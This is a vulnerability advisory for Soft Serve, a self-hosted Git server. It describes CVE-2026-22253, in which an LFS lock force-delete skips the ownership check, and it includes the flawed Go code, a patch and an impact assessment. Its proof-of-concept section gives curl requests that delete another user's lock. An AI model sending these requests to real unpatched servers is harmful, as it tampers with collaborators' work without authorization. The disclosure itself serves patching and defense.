Soft Serve is missing an authorization check in LFS lock deletion in github.com/charmbracelet/soft-serve

Open Source Vulnerabilities CVE-2026-22253

Soft Serve is a self-hostable Git server for the command line. Prior to version 0.11.2, an authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely. This issue has been patched in version 0.11.2.

Open Source Vulnerabilities GO-2026-4290

Soft Serve is missing an authorization check in LFS lock deletion in github.com/charmbracelet/soft-serve

Open Source Vulnerabilities GHSA-6jm8-x3g6-r33j

## LFS Lock Force-Delete Authorization Bypass ### Summary An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the `force` flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely. ### Severity - **CWE-863:** Incorrect Authorization - **CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L` ### Affected Code **File:** `pkg/web/git_lfs.go` **Function:** `serviceLfsLocksDelete` (lines 831–945) **Endpoint:** `POST /<repo>.git/info/lfs/locks/:lockID/unlock` The control flow processes `req.Force` at line 905 before retrieving user context at line 919: ```go // Line 905-916: Force delete executes immediately without authorization if req.Force { if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil { // ... } renderJSON(w, http.StatusOK, l) return // Returns here, never reaching user validation } // Line 919: User context retrieved after force path has exited user := proto.UserFromContext(ctx) ``` ### Proof of Concept **Setup:** Two users with write access to the same repository—User A (lock owner) and User B (attacker). 1. **User A creates a lock:** ```bash curl -X POST http://localhost:23232/repo.git/info/lfs/locks \ -H "Authorization: Basic <user_a_token>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"path": "protected-file.bin"}' ``` 2. **User B deletes User A's lock using force flag:** ```bash curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \ -H "Authorization: Basic <user_b_token>" \ -H "Content-Type: application/vnd.git-lfs+json" \ -d '{"force": true}' ``` 3. **Result:** Lock deleted successfully with `200 OK`. Expected: `403 Forbidden`. ### Suggested Fix Retrieve user context and validate authorization before processing the force flag: ```go user := proto.UserFromContext(ctx) if user == nil { renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{ Message: "unauthorized", }) return } if req.Force { if !user.IsAdmin() { renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{ Message: "admin access required for force delete", }) return } if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil { // ... } renderJSON(w, http.StatusOK, l) return } ``` ### Impact **Affected Deployments:** Soft Serve instances with LFS enabled and repositories with multiple collaborators. **Exploitation Requirements:** - Authenticated session - Write access to target repository **Consequences:** - Unauthorized deletion of other users' locks - Bypass of LFS file coordination mechanisms - Potential workflow disruption in collaborative environments **Limitations:** Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.